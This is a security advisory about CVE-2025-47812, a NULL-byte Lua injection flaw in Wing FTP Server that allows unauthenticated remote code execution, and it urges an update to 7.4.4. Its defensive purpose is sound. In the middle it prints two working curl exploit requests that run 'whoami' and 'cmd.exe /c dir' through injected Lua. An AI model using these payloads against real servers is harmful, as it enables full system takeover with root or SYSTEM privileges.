Critical vulnerability in Wing FTP Server enables remote code execution, server takeover
Take action: If you're running Wing FTP Server (any version up to 7.4.3), time to make an URGENT patch, because hackers can easily hijack the entire server. Immediately update to version 7.4.4 or isolate the server from the internet, then plan a quick patch. Patching for this issue is not optional!
Learn More
A critical security vulnerability has been reported in Wing FTP Server that allows unauthenticated attackers to achieve complete control over affected systems.
The flaw is tracked as CVE-2025-47812 (CVSS score 10.0) and is caused by Wing FTP Server's handling of the /loginok.html endpoint, in how the server processes the "username" parameter. The vulnerability stems from improper validation of NULL bytes within user input, which allows attackers to inject arbitrary Lua code into user session files. When these maliciously crafted session files are executed during authenticated operations, they enable complete system compromise.
The attack is executed by sending a specially crafted POST request to the vulnerable endpoint with NULL byte injection in the username parameter. The server fails to properly sanitize this input, allowing attackers to break out of the expected data structure and inject Lua scripting code. Since Wing FTP Server uses Lua as its embedded scripting language, successful injection will result in command execution.
# Basic command execution (Linux/Unix)
curl -X POST "http://target-server.com/loginok.html" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=anonymous%00]]%0dlocal+h+%3d+io.popen(\"whoami\")
%0dlocal+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--&password=test"
# Windows command execution
curl -X POST "http://target-server.com/loginok.html" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=anonymous%00]]%0dlocal+h+%3d+io.popen(\"cmd.exe+/c+dir\")
%0dlocal+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--&password=test"
Bt default the Wing FTP Server operates with maximum privileges on the host:
- on Linux systems, the server runs with root privileges
- on Windows systems it operates under NT AUTHORITY/SYSTEM rights
Any injected code will be executed with highest possible system privileges, causing complete takeover of the underlying server infrastructure.
The vulnerability impacts all Wing FTP Server installations running versions up to and including 7.4.3. This includes both Wing FTP Server Community Edition and Enterprise Edition deployments across all supported platforms including Windows, Linux, and Mac OS. Given Wing FTP Server's popularity in enterprise environments, the potential impact affects thousands of organizations worldwide.
Wing FTP Server released version 7.4.4 to patch the vulnerability. It includes proper input validation and sanitization of the username parameter to prevent NULL byte injection attacks.
All organizations running Wing FTP Server are strongly urged to immediately update to version 7.4.4 or later. The update process should be treated as an emergency security patch given the vulnerability's maximum CVSS score and the potential for complete system compromise. Organizations that cannot immediately update should consider implementing network-level protections and isolation.
